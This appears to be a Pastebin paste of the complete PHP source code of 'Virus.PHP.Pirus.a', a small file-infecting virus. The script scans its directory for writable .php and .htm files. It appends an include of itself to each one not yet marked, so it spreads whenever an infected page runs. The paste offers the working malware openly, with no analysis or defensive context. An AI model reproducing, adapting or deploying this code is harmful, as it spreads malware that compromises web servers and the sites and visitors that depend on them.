Advertisement
FlyFar

Virus.PHP.Pirus.a - Source Code

Jul 6th, 2023
804
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.70 KB | Cybersecurity | 0 0
  1. <?php
  2. $handle=opendir('.');
  3. while ($file = readdir($handle))
  4. { $infected=true;
  5.   $executable=false;
  6.  
  7.  if ( ($executable = strstr ($file, '.php')) || ($executable = strstr ($file, '.htm')) || ($executable = strstr ($file, '.php')) )
  8.  if ( is_file($file) && is_writeable($file) )
  9.  {
  10.    $host = fopen($file, "r");
  11.    $contents = fread ($host, filesize ($file));
  12.    $sig = strstr ($contents, 'pirus.php');
  13.    if(!$sig) $infected=false;
  14.  }
  15.  //infect
  16.  if (($infected==false))
  17.   {
  18.    $host = fopen($file, "a");
  19.    fputs($host,"<?php ");
  20.    fputs($host,"include(\"");
  21.    fputs($host,__FILE__);
  22.    fputs($host,"\"); ");
  23.    fputs($host,"?>");
  24.    fclose($host);
  25.    return;
  26.  }
  27. }
  28. closedir($handle);
  29. ?>
Tags: php virus
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement